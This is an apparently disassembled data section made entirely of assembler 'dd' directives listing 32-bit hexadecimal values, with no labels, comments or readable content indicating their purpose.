dd 32680F73h, 0E5009861h, 466B0ECBh, 19881F31h, 282BC2BAh
dd 0F700E174h, 46B8A747h, 3E32F864h, 5F308642h, 4045922Ah
dd 0C8D3232Fh, 3C614F30h, 0A4005057h, 0A5544E6Ah, 0BD17499Eh
dd 74D01C6Eh, 4B48C1h, 0C6D52B70h, 7DB9FBAh, 35895402h
dd 60C1612Fh, 25EB582h, 5BA3BDC9h, 0AC516C9Eh, 0A98D8B3Bh
dd 0B63E00A1h, 0DF57Fh, 0F86D8496h, 0A3CECB61h, 4F2D680Bh
dd 8EBCF9D1h, 0EF2729Fh, 38214028h, 10C59147h, 5D21846h
dd 0FD779D4Bh, 97B4C8ECh, 6FFC8C02h, 0C0A8C314h, 0DDF03h
dd 0AC04EEA5h, 0D02127CDh, 0BA7F9503h, 0C806360Bh, 57527Ch
dd 72B1460Ah, 0A0378044h, 23471D0Fh, 7B05127Bh, 64F3BEBAh
dd 54664D7Ah, 46F64720h, 4788768Ah, 731C7014h, 3D1CAD83h
dd 0E9C02586h, 2AB8DE27h, 0D2AB008Eh, 4ACBBD12h, 0D559BA57h
dd 8CC8D2C0h, 2667AB5h, 8C152378h, 2C5151B8h, 44382F0Bh
dd 0FBC0F76Ch, 82885BC7h, 642BD1B4h, 0FC420098h, 0A4DC9008h
dd 1D00E877h, 5B4FE0E5h, 0C1BBC27h, 300A111Ah, 0E4976A39h
dd 977E1F40h, 31C4F0E7h, 0C0085A2h, 689F2665h, 0EEBF183Ch
dd 3C68BC29h, 0A44870C4h, 0F0084168h, 0D2284C14h, 4E4C9C3Dh
dd 73293B24h, 0B4F88197h, 0FC7127E4h, 760C613Fh, 318B21A4h
dd 42C40C8Ch, 7B5C54A8h, 0C0F83A48h, 638DCE2Ah, 0D2C700CBh
dd 0AEB74FCFh, 0C0269A54h, 500454B4h, 40A5C547h, 22F74042h
dd 945D4103h, 0AFC200B8h, 673066E0h, 0CA3CC351h, 0BFBAF1h
dd 86612ECDh, 27C0EAh, 0A36CD4D7h, 0FA18924Ch, 0BCB00AF2h
dd 6A131A0Bh, 12DCC63Eh, 34C746Dh, 0D185C1C0h, 719ED5F3h
dd 669DB87Dh, 244624F4h, 0C0404480h, 62D51A28h, 0C7B4014Ch
dd 7CA0038Ch, 0ECF2BBh, 502C7D95h, 1A067475h, 0EBC7ED0h
dd 0A935403Dh, 15A8198Eh, 204B502h, 2680B8FCh, 43AF322Eh
dd 38B8689Fh, 0C8B95BD2h, 23E19E68h, 0C1E48080h, 983A8427h
dd 0D92B00E1h, 0E9420B73h, 0E004C96Fh, 0CBF8E8C3h, 73C67888h
dd 30575892h, 6A98DCA4h, 250FE021h, 571A0490h, 3C09E707h
dd 0CA43B84Dh, 8214DDE4h, 74285E98h, 4DC603EFh, 985D21C2h
dd 7CB40B80h, 1D952200h, 6D86A35h, 7802B52Dh, 0D4515484h
dd 68CA5204h, 2000CC51h, 5453C46Fh, 4D542F08h, 0C81AB058h
dd 34802A6h, 224337E8h, 503F3489h, 6200F7BDh, 0E4F0783Fh
dd 3C179DE1h, 0A901DF82h, 0A4FC4C64h, 0A15C2C74h, 91CC592h
dd 0B64C7309h, 0E4D90Fh, 63CE230Ch, 0DC00A9A0h, 0F4348DA3h
dd 6502F88Bh, 9699142h, 213F5h, 0C0814F2Bh, 80BFEA9Eh
dd 0E4FF8961h, 7751A51Ch, 7263138Ah, 15D8205Ch, 0BD2CBA8Bh
dd 0B744FC2Ch, 0A4490E43h, 0C41FADC8h, 0B100AE72h, 84471B30h
dd 120FEF1Ah, 14C11Dh, 9295264Dh, 0D6FABC8Ch, 81F9A369h
dd 16E7EBF4h, 8B544608h, 0BA807F7Ch, 0FE82FB9h, 7879904Ah
dd 2C884340h, 0BBF0025h, 148026DEh, 3600F1B9h, 75D38315h
dd 95E349DCh, 0B7757864h, 1D762800h, 443BC33Fh, 0AC7E0E9Fh
dd 4093AFA3h, 0B3BD13D8h, 58918352h, 0D193C101h, 98A46741h
dd 0EEB6048h, 0BF002105h, 7B825487h, 998B588h, 7FCA318h
dd 0C61160D4h, 0A138804Ch, 84993D2Fh, 88B07235h, 0EC0D80C0h
dd 0CD926855h, 740BA9E4h, 12CC5BAh, 8252B030h, 8905052h
dd 9CC4449Ch, 0B98B3BE4h, 243A4DB8h, 3408FB28h, 9521C568h
dd 80783740h, 41E02875h, 8B26A402h, 5FF3D444h, 59C95086h
dd 0B7B54609h, 0A3EE082Ch, 5551C718h, 0C30724DFh, 36940D30h
dd 0F746068h, 0BCE82988h, 0A1208040h, 0DFF37D0Ch, 5513B200h
dd 0BEB63FE2h, 0BD4702DAh, 0F7C98259h, 93E2BC78h, 793AA404h
dd 0CA80DD8Bh, 1E7EC508h, 52F7E7AAh, 3F08E202h, 0DCBCA9A3h
dd 0A6801D80h, 38769357h, 27C3D54h, 0A37CF28h, 925F6A4Eh
dd 0C0E4CCh, 0AD8CBE54h, 0A803770Ah, 34BFA903h, 8346923Ah
dd 25313F4Bh
dd 0C426E70Ah, 0C64742B8h, 0ADCDC29h, 0A1308272h, 95B809D4h
dd 5420B46Ah, 2BC2AB24h, 6E64C300h, 99D9D5EFh, 0FDF67426h
dd 0F944D440h, 0DC308168h, 0CEEB86Eh, 1E4060BEh, 4A9989h
dd 860BE5AAh, 0ED6AC64Dh, 0A5D82E05h, 30E0CCCDh, 61AC00B9h
dd 133F2956h, 195019Fh, 555DB3C4h, 79B4FC47h, 1EA48Ch
dd 0BB31BE0Fh, 0FB1663A6h, 64D6C800h, 2E93B9F1h, 44D8964Fh
dd 0E13B30E8h, 0BCA1B74Ch, 3A0FE9D6h, 26A3C9Ch, 0F1046F61h
dd 3C5E2748h, 80E9A140h, 0CE9B0002h, 4932EB59h, 5C48C437h
dd 74D90D04h, 372F59A2h, 0BA2C2050h, 0FC0075C3h, 0E7CFB304h
dd 0E633BB18h, 21460055h, 541CD3Ah, 2B000D68h, 98C4722Dh
dd 2FE4D1DBh, 0D820ECDAh, 6F4276B7h, 0E07F1600h, 3B195A5Bh
dd 5C1158CAh, 0BEC89448h, 0E38DC280h, 0A11E21h, 0AB52DD92h
dd 3BFBD94Ch, 0BE1358BEh, 5EF200F8h, 2B10848Dh, 7D838420h
dd 211E0081h, 8BCBFEE3h, 0AD0A5BB2h, 148954F5h, 0FA24E481h
dd 97E0B937h, 36A77CEh, 9B63C0DCh, 70056CBFh, 0CBA5044Eh
dd 25409427h, 58FE443Fh, 1F8010ECh, 7B7656E0h, 40741D03h
dd 0B3914EC3h, 815F8A71h, 69932A50h, 0AAFC882Ah, 21CA500h
dd 582DCFCCh, 0A06E788Bh, 74DDF74h, 0BDFAE659h, 4AE282FDh
dd 230020D8h, 37D6C0AAh, 17090FB4h, 911C9899h, 0FC3B0388h
dd 510035E4h, 86C30F63h, 5AAF04FBh, 3A18C8CDh, 0C5DE361Fh
dd 286532C1h, 44233B2Eh, 26054621h, 0E0C207CAh, 6E202F28h
dd 68BB02E8h, 634E3000h, 0F6A367ACh, 0FE2A003Ah, 5D0D1A48h
dd 0C5002C1Dh, 29D1019Dh, 95399FBDh, 2A5A1898h, 0F9E19C1Fh
dd 0A91CC83h, 0EFEDA01Ah, 8E8D00D2h, 1390525Fh, 0E305A993h
dd 0C52444A4h, 0B07264B0h, 0C375BF8h, 0DAB9D144h, 0CC77409h
dd 7B20825Eh, 7178E672h, 2EBC0EF9h, 4B2087B8h, 0A7CCE55Eh
dd 5A65B907h, 0C0FBE844h, 0B5AA45FCh, 0B61E246Eh, 6F802441h
dd 14598F8Bh, 3D5B009Ch, 0C52A811Eh, 0A207C45Ch, 152BA340h
dd 30AE3140h, 271200ADh, 58619276h, 944C41D2h, 842C0043h
dd 0BE84E6Bh, 0C34600A4h, 0CC96F3F5h, 781FC4E2h, 0E02F6D93h
dd 1E310DE8h, 0C0C83082h, 0CCA505BFh, 0D72CB9D0h, 9542F8EBh
dd 3F712068h, 1C244E91h, 67179C33h, 16318DCh, 0AF783721h
dd 0FCF76874h, 98173A5Ch, 2B12C643h, 0F0304C8Ch, 3270E06h
dd 39E052Ah, 0FD452E74h, 4CA2714Ah, 8EE5BD00h, 0B4BC25B3h
dd 2C114C00h, 0FB392B22h, 53A50367h, 87D9563h, 1219A1B0h
dd 8F1E9C3Fh, 0A028764Fh, 0BEC7DE82h, 2E9890D7h, 517BFD1h
dd 0C36991F5h, 0FDB8AB78h, 0C694038h, 4070DE98h, 43AED31Ch
dd 0A62D6A00h, 5B4A8EF5h, 0F4109787h, 0F81EE537h, 80BCAB39h
dd 90DBB86Bh, 23A31A4h, 47B7F3E0h, 40D962D5h, 1B4C00A7h
dd 7B267080h, 10AFBD03h, 185CA452h, 0E045498h, 1D08E6CAh
dd 3DAF8E4h, 0C3BB0FE4h, 94883447h, 0AD005988h, 0FC8B2884h
dd 2F255CCBh, 3CE4442Eh, 62BD0805h, 30C4CEC6h, 288034ACh
dd 905CBFEAh, 3F2C2100h, 0DD16B2D5h, 48F5E4D8h, 0E0733F67h
dd 94C5000Eh, 1475BAEEh, 0B3162B3Eh, 810B9732h, 28D080A8h
dd 3A6D54h, 0E8339464h, 43D0F31Ah, 364E9F1Fh, 1FA26A4Eh
dd 6C452Fh, 9CE35B6Ch, 7F38DD51h, 0BF28365h, 0E9239B81h
dd 54F5B90Dh, 0C8F0547Eh, 6EB0414Eh, 0D34B4630h, 0E657017h
dd 0B90B3C00h, 0E0AB208Ch, 0A8B4444h, 2B3DF700h, 0E071FE6Bh
dd 1BA300C4h, 4D1654FBh, 90009D58h, 0F4461ACBh, 62D97F7h
dd 79E113FEh, 0BB0B4005h, 902A2BDDh, 97CB43F4h, 0C7E56418h
dd 19504B00h, 3790B621h, 5BC301F3h, 6E254579h, 14C04CBCh
dd 0CAAFBA27h, 5C905714h, 2201FF1Bh, 0C714097Ah, 21C8F1F0h
dd 84160075h, 990AB7BCh, 0ED1B0E3Dh, 227859C2h, 0A20CC648h
dd 183DE8EAh, 0A7C45B70h, 0ECFC0AE4h, 0A83FCBEh, 9824F5E1h
dd 9940438h, 50D47D2Dh, 0A053EC0Bh, 9A40231Fh, 0E6A72CB7h
dd 89F609h, 0B5997C54h, 8E047129h, 746FCC00h, 94C30B5Eh
dd 811400FBh, 9CBFEE6Ch, 0A25AD395h, 0DC2070C4h, 0CE3630h
dd 3328D527h, 0A381629Eh, 0C264600h, 0E90A8967h, 35371602h
dd 5EF0940h, 305AE450h, 13CC88h, 5325388Dh, 0B1940611h
dd 0B004E095h, 0E9F09ECDh, 2F974B00h, 0CB2A5731h, 449AE00Bh
dd 9016EE4Ah, 0E9219CE6h, 95805390h, 0D45DCAABh, 52102EF6h
dd 1D0367E5h, 0C04FF12h, 0EC00D9E7h, 35D97A7h, 4C7D4004h
dd 40F0A554h, 0D9EC966Fh, 805C3830h, 0BBF80620h, 26F4072Dh
dd 0C086986Ah, 581E33CEh, 4C91E112h, 0F4EDEC13h, 51C93C88h
dd 5FBC28h, 0DBB90974h, 3309A491h, 58B701D7h, 6040915Ch
dd 7E406D62h, 4C46DA04h, 0D0E5F29Ch, 320DA2Ah, 2BD5C4B6h
dd 2610705Dh, 42F82F3Eh, 0C892546h, 6D618000h, 0CFECCA44h
dd 659C3Eh, 2D011440h, 755BFAh, 42A5A3D6h, 11E83A2Ah, 4510CA2h
dd 2E85B307h, 3109D60h, 961E00BEh, 0BA77D1D4h, 0E697D2BBh
dd 0C4264A8Ch, 0A420EE2Ch, 3C4E3A25h, 0F001F1F3h, 0F734E1D3h
dd 0D10070C4h, 0C898713h, 4F0098CAh, 822941C1h, 0C2244EB8h
dd 9D50C43Eh, 74442D64h, 6B8BC8EBh, 784001DAh, 0BCB14188h
dd 8009B90Eh, 7619FCEAh, 0CF26054Dh, 40C29843h, 121561D8h
dd 350103B2h, 470185F9h, 0A86877B5h, 48B90A0Ah, 0C9D69040h
dd 1871E6h, 42656E95h, 0E00DB1Dh, 151B8BB6h, 0F4888681h
dd 0E26400CDh, 465661D4h, 8D00FAEBh, 36E8A3A5h, 584559B6h
dd 6019090h, 68A61557h, 9F160126h, 3727460h, 0A50C4EA4h
dd 0BEBC9E2Ah, 0AE719820h, 0C8420086h, 7E6DFBE1h, 3132ECD8h
dd 0F9D7B141h, 0C9040ACh, 6B002236h, 1C52BC8Bh, 1410595Ah
dd 0E80FE8BFh, 9E980097h, 1A281F46h, 74070D0Eh, 624D01A4h
dd 0B02290C4h, 575A4F04h, 6AC08050h, 0A430FC4Eh, 0B69B89Eh
dd 3010B527h, 4A00030Ch, 0B953AD63h, 0E0FECF68h, 0FC983C8Dh
dd 50089C7Dh, 0D00893Ah, 0F2F099ABh, 0FE6147B1h, 0CB2F0091h
dd 0EEC83DC9h, 989F88FEh, 0F94B80h, 60CD2C3h, 0B9D1DCB8h
dd 156DC216h, 868010F9h, 0C0D87A61h, 0DAE2B001h, 2DE33805h
dd 4448BC61h, 318703C3h, 15C6E511h, 40AFC4D9h, 0D5BA3608h
dd 80944597h, 6B2A0409h, 6700A1F3h, 2E3FCD53h, 0F029F715h
dd 0AA210B4Bh, 0EC90D603h, 285C1368h, 8B16C0C4h, 7BA87F4Bh
dd 1254008Fh, 266C37FAh, 0E501E49Ch, 9B14C30h, 0CC68B0AEh
dd 3E435182h, 2A9B7002h, 85C02189h, 0BA9ED47Fh, 0C73F9021h
dd 783C2BD8h, 0D1434FB0h, 112E446Ch, 4980CF36h, 0E35896FDh
dd 0D81F16CDh, 0E0A5F8A2h, 0E8881324h, 0A849164Fh, 808CA95Ch
dd 29195208h, 91A0F32h, 61E2639Eh, 145C6CA5h, 6648D2E7h
dd 0C4A158FAh, 9E6C34FEh, 63CA6D18h, 27674030h, 404617E5h
dd 6884B811h, 0D580743Eh, 0DE779D94h, 7A2ED909h, 50074CFEh
dd 4A0D708h, 0BE7CB98h, 0AEAF850Dh, 0B252C80h, 51504D0Ch
dd 2AE3B964h, 7E5028h, 187016F0h, 10071E4Eh, 0F8B76C1Ch
dd 0A9036FAEh, 0F42E89C2h, 3C21C4B2h, 51C50B01h, 94527608h
dd 50B92756h, 23424CC0h, 2598BE00h, 19E145CAh, 908CBA08h
dd 9E110BF8h, 84E4359Dh, 0DC25F600h, 58E02D6Eh, 21700D3h
dd 0CE2211ADh, 0BF2C9D3Dh, 0FD007F33h, 0D0E37276h, 52834AB9h
dd 324334Ch, 0C75A9690h, 43656704h, 0A4D137EDh, 9833CC9Eh
dd 0B24BE04Ch
dd 47A38094h, 13664049h, 17BA44F1h, 0A088CA4h, 34C80D5Fh
dd 499800A3h, 86899E74h, 0E000124h, 1C4699A0h, 66CA3Fh
dd 2A5B4F67h, 27B8E5C4h, 9143CB1Fh, 0EC2D3200h, 7E44C3F5h
dd 1B9F25DAh, 900BD821h, 0F44FE8A6h, 61B4B21Dh, 22603140h
dd 1648394Ah, 0C0E3FD0Fh, 0A9BCF978h, 9897CE4Eh, 0FFDCF249h
dd 0B00D4C60h, 7E4716DCh, 0FE00901Bh, 9013215h, 9C0F9459h
dd 2AE8F345h, 90737C97h, 2C4F0BCEh, 4800D70Ch, 5E4CB843h
dd 0E880A894h, 0A4704ABDh, 68482FDCh, 7EC2C468h, 58B81540h
dd 21DF3447h, 3C54A101h, 496ED9D8h, 0B4D4D0DCh, 75FDF62h
dd 6144B677h, 112AD821h, 80805C6Eh, 0F35A3D8Dh, 0DCE00A8h
dd 0BC098A6Dh, 0CA005923h, 0AFB1AAFh, 449015Bh, 0E7E2EC4Ch
dd 6B3C80C1h, 0D001DE8h, 753F07D7h, 0B6BCBA35h, 1B4C897Ch
dd 1D0070F9h, 490F4B62h, 7D13008Dh, 64CC16ACh, 0B8024DF5h
dd 7231A50Bh, 0A0C8F8FDh, 13914ED4h, 0CC2B0E40h, 90B5275Ch
dd 3F963BD0h, 408F2843h, 12D286D8h, 0A1E830FCh, 40F9ACEDh
dd 28D892E7h, 87B111Eh, 915D6ACBh, 0B811C320h, 7C8A6B48h
dd 46BCE800h, 320C075Bh, 9D4C23Ah, 0BAB9BA40h, 3B34C250h
dd 411FB990h, 49968834h, 3EC808A3h, 7002F811h, 0D4E5524Ah
dd 45D882DDh, 0B880295Bh, 0EFEDC5B3h, 16E83806h, 4ACCC17h
dd 18445726h, 2A10A4E7h, 306940h, 1F4CB612h, 7D90C510h
dd 1C50AF07h, 0BF347035h, 0C04CF8F1h, 0B99100DFh, 0AC71D19Fh
dd 0BE02121Fh, 9B3856Eh, 18005F2Fh, 0B4F5524Bh, 44EC82B5h
dd 532D22A7h, 0E4977CD2h, 0C1543968h, 5AD68202h, 33F54C9Dh
dd 197C358h, 21CC09F9h, 6B7B248Ch, 0A481AC8Bh, 0FA1BD944h
dd 4594A257h, 40001266h, 1F670920h, 3BFE6D07h, 0B101E551h
dd 29306CC8h, 58829516h, 0D929B847h, 832D1F38h, 4C17AD8Fh
dd 2EB09DB3h, 80AE0B0Eh, 0CBA54503h, 0B8A36A10h, 12E39190h
dd 0B0858FFDh, 5643E9F4h, 0D1299501h, 0C3467296h, 0E00ABAECh
dd 8011A4C6h, 50DD0B04h, 7C21EE65h, 0BE040FD9h, 0CD371003h
dd 51A0243Dh, 0F8304380h, 8890FCFh, 803900F1h, 0FE24524h
dd 0E1ADD3h, 9E386AEBh, 0DEC5CB2Eh, 5F35DB72h, 4809C198h
dd 0D0DC0412h, 92472940h, 0BF4B4CB5h, 426AC8B0h, 44C21CC7h
dd 9C449520h, 23008370h, 0FEBCB7C3h, 1FA27C5h, 0EE1FD24Ch
dd 3CB3A31Dh, 3DEF0ABCh, 790E88ACh, 0AE358396h, 856B4D8h
dd 30B0A158h, 50F248Bh, 7FCB1C4h, 67C00CBBh, 14341D88h
dd 0E4022801h, 770C22EFh, 31AC0C10h, 89A8D400h, 0C026ADFFh
dd 8168C833h, 6D409E64h, 0B9C552BAh, 653058CFh, 0CEC427E9h
dd 0A881C0ACh, 10316034h, 57C009h, 5815847Eh, 1A9C8E0Ch
dd 0A402A670h, 735CB52Ah, 2C92D754h, 4027CC84h, 470D0914h
dd 8F6B06EEh, 0D80861BDh, 7ACA7920h, 8B79C0EDh, 0F7810689h
dd 0D9569501h, 1982B3CBh, 41C67C5Dh, 10C8D1Ch, 0B744A8BCh
dd 80E4E853h, 3739434h, 2DCE029h, 99F98439h, 74E01286h
dd 0D7884F98h, 4BB888B5h, 0D04595h, 8EE94099h, 0CB007EECh
dd 0D9F758D8h, 39EBDh, 0A211E8A6h, 0EEB42070h, 790FBA25h
dd 0FB3D00FCh, 0E644DD91h, 62D07F03h, 21014E39h, 0F89789C8h
dd 40038CD1h, 97A4216Eh, 88CC2B52h, 0A210E1B1h, 0F5009031h
dd 32F3A6E4h, 2D8420h, 0BE7B0411h, 0D83E3528h, 0B2BDDA7Ah
dd 0CA324090h, 2BB0950h, 0C446F466h, 0ACFD1D3Dh, 0B9624043h
dd 24202A4Dh, 0F4EC16DCh, 495E4424h, 6A01B4A7h, 0CE99C381h
dd 0E2808996h, 0C04C745Bh, 8ADBF8B5h, 0CB16A716h, 0B3C6A020h
dd 40ACBC0Eh, 0C1789AB1h, 0DA403Bh, 201E5C7Ch, 16969105h
dd 950EFCAh, 3C191B08h, 4899140Fh, 213C8C2Bh, 0FC5E90C4h
dd 42149CF8h, 43047430h, 0BA743A78h, 5C8B7C0Bh, 712B40A0h
dd 0E80002F2h, 22749ECFh, 2F1879EDh, 48139B05h, 93C699F0h
dd 0E026421Eh, 50DCA542h, 11F0995Dh, 34512BEEh, 6C1D5300h
dd 77010550h, 0CBA04B1h, 0C00F3F81h, 0C82ADDA4h, 44472605h
dd 0A8D2E8h, 0D8DCF714h, 2FFEDC0h, 5D8A2C3Fh, 19E76010h
dd 0AA03DD74h, 0BFF0912Bh, 52C880EEh, 0CA67405h, 0D5759B66h
dd 428659A8h, 316E000Ch, 11404968h, 514C0BA5h, 0AC9134CCh
dd 5929AFCDh, 0D5BA8D7Ch, 0DCF6F089h, 8BA4280Eh, 0D0248063h
dd 0C4781Bh, 4799DFA6h, 1C58954Ah, 0CC723303h, 996B86C3h
dd 60F0CEA0h, 8C160A01h, 2CC5D13h, 2C8FC409h, 941CCCC8h
dd 88663644h, 700889Eh, 6DD825CFh, 0A027093Eh, 83BF089Ch
dd 8F0CA8BDh, 798C20B7h, 374DA9Eh, 0C0F64D5Eh, 0A83A0DC5h
dd 4E800D3h, 93F882E4h, 0B599B8C6h, 214CC8C6h, 889D21B0h
dd 202843B0h, 7439F726h, 7B7E588h, 49C1BA21h, 11673099h
dd 9446A509h, 0A1A0F059h, 1EFD2FE8h, 0CBB0202Ah, 650093E9h
dd 1137C2A4h, 2A734F7Ch, 43883628h, 25492218h, 782F4D2Dh
dd 0ECFC4689h, 0F759A50h, 0ED53B872h, 0F3A73CEEh, 0FF70245h
dd 3811D843h, 27263144h, 4E540898h, 5F717005h, 150528FDh
dd 0C1A16992h, 0CCE207Ch, 74444012h, 0CF11C98h, 6CEEBF79h
dd 0A90B6277h, 0ADA575h, 0D7F12617h, 0C2400CBh, 84884B33h
dd 0D05E9044h, 0C700E4A6h, 27974AD5h, 0F6015878h, 2AA0B9EBh
dd 30307983h, 61767Bh, 0C2EC86B7h, 76527525h, 482CD4FEh
dd 99A77898h, 8A3F9E6Ch, 41B516BCh, 2780BCFDh, 0E37E8996h
dd 9FD9450Bh, 0F9D09848h, 4038BF66h, 7E00A1EEh, 1A020321h
dd 0EC541Bh, 0EABB1CC0h, 84B96950h, 2E2C7248h, 0E7701031h
dd 2F6B09ABh, 0ECA2C189h, 57D1BEh, 9FCADDFCh, 0BA37054Eh
dd 8B727EFDh, 3B2F129Ch, 6864F0F2h, 46DB3221h, 40E49C60h
dd 0D98D1918h, 1CFE0100h, 590CD623h, 916B01E1h, 0F7A7C75Ah
dd 8C5034AFh, 532D98A8h, 84AC9491h, 0B464B884h, 10D614DDh
dd 2F044226h, 0DC2AE001h, 8F7F480h, 11FD0099h, 0B7A081A7h
dd 0F24C19E8h, 0B0C12C41h, 28FCA492h, 1880EC80h, 0BF046F40h
dd 21AC2AEDh, 0E86EA9C0h, 2D9C2626h, 0C8DD47C8h, 28261344h
dd 0D986FA17h, 0D349BC44h, 5E80A213h, 0B2E0B027h, 17C416F9h
dd 0C28953h, 88751481h, 0A76358Ah, 94DA3Dh, 159AF817h
dd 0CDB305h, 0E9472071h, 4B98A267h, 2B0DA000h, 46FDE330h
dd 2825FA95h, 43CC34FBh, 3EA0111Dh, 6D11DC58h, 3AE93AD0h
dd 183EC0h, 0A6F12A5Eh, 30834F4h, 0A86A6174h, 0C4B824A0h
dd 0AF008BC5h, 3D905C4Ch, 4D9ED509h, 42791C19h, 0B54D2293h
dd 8DC82090h, 0E5005378h, 0BF9A90B2h, 50D7EEB5h, 5E54F849h
dd 5C3C0EDAh, 229D9602h, 8821A480h, 75260835h, 7A60105Eh
dd 2C54A16Ch, 64D89344h, 214490Eh, 20F08E68h, 27075890h
dd 0B8000C90h, 0C39FA61Dh, 589BAFA7h, 5F021C71h, 0DB81E449h
dd 0DB61840h, 1802C330h, 3EADF5BAh, 420FC508h, 940973E6h
dd 0B235FF80h, 804B43A6h, 1A60B880h, 512E31F8h, 523AC9F1h
dd 66199C8Ch, 9B88B508h, 0D7E431h, 0A282EB42h, 0BAF68C9Fh
dd 0FA05D974h, 551FDAA6h, 0CDF1D804h, 0BC2CD310h, 61496400h
dd 20E2D7F9h, 17FE1568h, 0EF134670h, 0C44288FDh, 24CF8345h
dd 0CC18C4DDh, 4EBF0DD8h, 0E51E0C8h, 0BA7D780Eh, 0B610C324h
dd 1E470260h, 40963BD8h, 40A0BBh, 7E67828Fh, 57080A34h
dd 0F6CAC8A3h, 0B85E9523h, 987FB4h, 12729FBAh, 682CC5C3h
dd 84B89D17h, 6CA04CB8h
dd 3F249BA8h, 5510BC72h, 0B88909C8h, 0D8454Ah, 2997D612h
dd 0C05BD257h, 0A2C85602h, 8840C1CDh, 0B0DBCEh, 20A4E555h
dd 811CFA39h, 0D6000974h, 2F5F9F47h, 0A11D0572h, 0FA15E8BBh
dd 0C721D500h, 0A1400B1Bh, 0F10CC5A4h, 5A20F40h, 76CAE335h
dd 41E49185h, 0F81800CFh, 0ACAC99CCh, 0B8A404B5h, 0B06CCC90h
dd 0CF540C84h, 0C1682907h, 42EB4586h, 753168F0h, 0CBF91810h
dd 118A34A8h, 0A1A42Ch, 249C170Bh, 537CD14h, 11CF644h
dd 4D645750h, 9C21ACBAh, 918ABE0h, 6EF2DD06h, 3200F8E4h
dd 65FA4F7Eh, 1298A037h, 489C3A8h, 13F88600h, 9472A8A1h
dd 32369816h, 53E0886Ch, 0B17335CDh, 906EA400h, 5CDC27C8h
dd 0FC98588Ah, 6C4A8670h, 0FEC020A9h, 0D5BB6B9Fh, 85E51509h
dd 51BCFC92h, 827112ABh, 1C72594h, 222B4103h, 0A0F28ED0h
dd 238EC4EAh, 0A87C0Ch, 0D9ACDC0Bh, 0EE29117Ah, 7291A509h
dd 1D68D95Ch, 4DB8458Ah, 88C8B8BFh, 4EDE413Bh, 0D56420A4h
dd 0E045E4A6h, 39F0083Eh, 0BA35F940h, 0A470B1D7h, 0D17C1898h
dd 90B7502Dh, 2520E990h, 3C4C354Ch, 3DA5541Eh, 0C0A2C00h
dd 1394DD26h, 44375F24h, 2292F850h, 45262259h, 0F4A8397Dh
dd 0E8186994h, 74FE9E10h, 292B3B00h, 269C8FBBh, 93181CA8h
dd 57EB80C4h, 722A777Fh, 21D89D4Dh, 5E59915Fh, 265D420h
dd 66DA5C63h, 33E3A303h, 62D8B795h, 16025E21h, 0E92CA95Dh
dd 0F628413Dh, 576A3810h, 0AD46E512h, 0E86334B5h, 0DDBF0078h
dd 78D5C95h, 0B27EB168h, 0BB09D112h, 0BDE97C04h, 2E0C3025h
dd 0ACA6C84Dh, 32E0197Ch, 7C890496h, 941057D5h, 0B3035558h
dd 0ACC9F772h, 0F519993h, 171B2060h, 0A0B5F048h, 0C44BBA20h
dd 194D7422h, 0C4209BCh, 0A42E19A1h, 801F9C19h, 0BB468700h
dd 0EF1A882Dh, 0B8E7038h, 197F5A40h, 0D800CC57h, 40290AF6h
dd 2F02AB72h, 1851C371h, 852AE44h, 0A180C634h, 0E6C04484h
dd 70109CAFh, 0BB4EBA2Fh, 78048Ah, 0D6EA6D8Eh, 0C59B51EFh
dd 0E716B900h, 43EE2FADh, 52C31CE0h, 0EA2A0272h, 9B7D5727h
dd 4B51EB18h, 2334A649h, 70F1274Dh, 18AD2F44h, 9051E7C3h
dd 3D59B8C0h, 0D871CE0Eh, 0D163C04Bh, 181CFA89h, 0E89ECBACh
dd 5982D69Ch, 0B7A00074h, 2142A4CEh, 1F12E600h, 7774FE5Ah
dd 0C7B00DDh, 2E98078Bh, 0B496D6F4h, 82FD1D42h, 20C4C18Ch
dd 0FE92DBB8h, 12B59C39h, 743026A1h, 3BB77642h, 4C00BD68h
dd 9A856CD7h, 8A01372Ch, 0C1A756E8h, 50208FAFh, 384486EDh
dd 0A3C25BBAh, 2B71842Ch, 0FDF5E8A1h, 105F3F12h, 32E6D4h
dd 0ED6BF138h, 0FF9E77E8h, 17CE49Dh, 0BF24488Eh, 80549F7Dh
dd 4B8BE1CAh, 9631858h, 266AE064h, 7140947Eh, 0E5B0C73h
dd 8ADA8FD9h, 65D0FA60h, 37174BB6h, 2163A22h, 900088Ah
dd 48725FA4h, 10B5EF20h, 78290h, 2EA05CBh, 3B6D60F0h, 9852E42Dh
dd 0EDAD8D0h, 7BFCB073h, 0EDA7A620h, 1F0EF979h, 644D16CFh
dd 6CC107E4h, 5E089360h, 9A4014B1h, 0E5B078Ah, 6289926Dh
dd 0C0EC0912h, 0F626F0C0h, 0C868A4B9h, 0A9C8D510h, 0F9CCC442h
dd 0B9148568h, 9394B890h, 0A525FC04h, 3125D810h, 11C19038h
dd 0A54E7503h, 80D5AE2Ch, 0F9EDADDh, 0C47A4B2Dh, 48302356h
dd 0D066AEC5h, 12E14398h, 77BE4401h, 0BC66219Ch, 3FD26007h
dd 0D694961Eh, 72FFCF01h, 0A090B9C3h, 18212ED0h, 32A55300h
dd 36D2A8h, 60EEBE9Eh, 72E1DF87h, 0F47E88A2h, 0CC6E9C60h
dd 0FF2602E3h, 0A36F9F52h, 1069E4E1h, 0BAA1E5BAh, 54DD5434h
dd 94340FBh, 19987548h, 0C3389E8Ah, 401AE810h, 460D0216h
dd 0D2087C44h, 5B00D8E6h, 8AFE358Bh, 807D6A7Ch, 0E3457705h
dd 0B0C5B472h, 574E08A2h, 0A024ACBCh, 12F084h, 82215E07h
dd 0DD163563h, 0E6576917h, 5A9B804h, 12102521h, 4080F949h
dd 823466FAh, 0A816F200h, 0B6680B13h, 2534B847h, 70769D49h
dd 3FA1480h, 0A334AFBh, 27CF43D6h, 268693F4h, 0A34B1078h
dd 0B4CC9489h, 0ADFC0014h, 0E104629Ch, 0C0582AFh, 1C36C218h
dd 0B1283CECh, 0C13A0018h, 0F0423363h, 2602354Ah, 9C93A6A7h
dd 16C15DADh, 10643808h, 0A59D0605h, 0CD00A078h, 0F10E0FBFh
dd 2DB3A2h, 4846984Ah, 0F795A6A8h, 0D4214D00h, 7ED6EE0Ch
dd 0AA930194h, 0DF85B7A5h, 5ED7D844h, 0B38CC700h, 82925AE6h
dd 0B1790093h, 0E26242CFh, 0A500292Dh, 0AA5652E3h, 768820Dh
dd 0DC26E81Dh, 0AEBE30F2h, 7800CB95h, 458918A6h, 315B5F21h
dd 4AA0297Bh, 2D088716h, 0C4C0BFEEh, 74DCB37h, 83B5F9A5h
dd 3254F0DEh, 0D3003E49h, 0DD9CAE4Ah, 0CC98E40h, 1FA6D156h
